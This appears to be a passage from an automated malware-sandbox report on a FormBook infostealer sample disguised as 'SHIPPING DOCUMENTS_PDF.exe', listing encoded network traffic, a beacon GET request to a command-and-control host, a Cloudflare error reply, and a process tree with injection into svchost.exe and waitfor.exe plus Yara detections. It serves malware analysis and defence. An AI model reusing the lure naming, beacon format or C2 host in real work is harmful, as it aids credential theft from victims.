72 65 39 4c 6a 64 48 6a 4c 34 78 75 56 6c 50 39 52 67 32 4d 57 63 66 38 47 57 4e 34 4d 75 4b 78 4d 44 71 57 77 52 57 79 72 76 46 70 49 49 6b 77 41 53 72 41 72 44 6b 55 4e 59 63 62 57 31 47 73 70 5a 69 73 30 61 46 45 71 79 78 44 6d 75 30 51 62 79 6b 46 4e 53 78 36 6b 76 39 30 2b 79 6b 4b 36 50 4a 45 43 4d 68 66 71 4e 74 63 6c 79 51 6d 51 76 49 34 71 58 53 41 59 50 6d 58 61 7a [TRUNCATED] Data Ascii: LDVlCz=515U86Y/intt6OxrR0O1CUcvTkW8nJ08wfu4GMleOLxVIQ/JPd6DXONw6QSZBIuIVmqr08prkCFSKDmfec8NRIUdMoauO7w+wzRueizhNu9h9qhfbtGDJLCRilPxgM/2yzv4EwRnjJ+JbNRdn0yaPE1W4kF+orWtEyvsagCXffnOAlEV0CaJcgI9ucKWl/JekLoxcgvo/6L5ere9LjdHjL4xuVlP9Rg2MWcf8GWN4MuKxMDqWwRWyrvFpIIkwASrArDkUNYcbW1GspZis0aFEqyxDmu0QbykFNSx6kv90+ykK6PJECMhfqNtclyQmQvI4qXSAYPmXazeo4Mo9zk0RluChRMTwHoKsZ6mQ7ujjpUSeXpGpBKxE9aSOWR/Kr2LhbTkthcgxP4ddtC21GcvwFJjm47gULsDVYawzrOor4sJY482pz3EiVAlhp6+xQoKPgvHs5S1XNF3sxdT++Ggb+gOr/HVpAgLGEyZV79ZY9kyy6zBo23vrB/HE8bK5q9+JpKO9PBdEV/SPSpZ0J6NdQ2Y1BrjpGb8RCbJZdEPeSosofqhhxAatlWwuVVib6RRxfkEL35MYhx0PU6MQGDTcd7K2qLoHuIzOdVBuMVxdAXT7lVnNfQoSTTG+8CZQYVTTZsOJR43pIV7ouHRXtBzPYYpU45ExHg2MlWInHoCAVS6XRXyMjT/h0G6WbnvfhmbP41ZfXnxI+ZfNY/yXTdK515mbBwR/x3BpVHXFWSVf2JemwEo2bhURCoDOESarnd5z71Bdzh6Jyfx5dTEEnyALAuTI9R3JrdCOLs8lWGOFRd5qjtq219CcXKrvLGQw9vDOC1kY/xBuubGiwGbbJVgjv6UAHQ4ets6gLl0SYuGHYmde0U3l1cqx2QiQabOj2JYOH38jilttxU5WfFqa+1asHntbDoGuH5rYHEqJAb3s3ZiuH2oxiC3hZXzb/WxKNmwDHmjBqJvLHI3B9DH3XhW4LiUU/Npl7krZ+zDo2FzBn2BX [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50020	172.67.176.240	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:21:30.642664909 CET	509	OUT	GET /26nq/?LDVlCz=03R0/PY94GJRzPoOKSenb2h5QS/Kl50E/qK0YcgrJ8wpZCLSP+GtGIEwrkK3Oa2ONw/TguZq9BdWMDmUOrZ+COkHC5rjPuI42FsUNzu6Vv93haoOa+yyAoKItnrc6cGBtQ==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1 Host: www.zrichiod-riech.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:22:10.729553938 CET	966	IN	HTTP/1.1 522 Date: Wed, 11 Dec 2024 23:22:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z%2BgNasc%2BjL9ILc7Wr45%2BfKyGWoSymvk%2BoESn7pij8v9kvzqRJ%2BPUz9h0Iob7tP7U1OmBoC4GzLxaXN1NTyfcPh7pNIKOPnca7vRhjcIMH6i6RaRsQid8ULxUxICOldPeKSw8N2%2Bg29Pl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8f0936240f83330c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1994&min_rtt=1994&rtt_var=997&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=509&delivery_rate=0&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Target ID:	0
Start time:	18:17:54
Start date:	11/12/2024
Path:	C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe"
Imagebase:	0xb50000
File size:	1'188'352 bytes
MD5 hash:	8A85446EBB8EB07A56672AFA7C1B7FBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	18:17:55
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe"
Imagebase:	0x960000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2248280939.00000000004B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2249418016.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2248660468.0000000002970000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	18:18:09
Start date:	11/12/2024
Path:	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe"
Imagebase:	0xf60000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4473260603.0000000003AB0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	18:18:11
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\waitfor.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\waitfor.exe"
Imagebase:	0xc50000
File size:	32'768 bytes
MD5 hash:	E58E152B44F20DD099C5105DE482DF24
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4473308327.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4473351797.0000000004910000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4472444044.0000000002C60000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	6
Start time:	18:18:23
Start date:	11/12/2024
Path:	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe"
Imagebase:	0xf60000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	18:18:35
Start date:	11/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true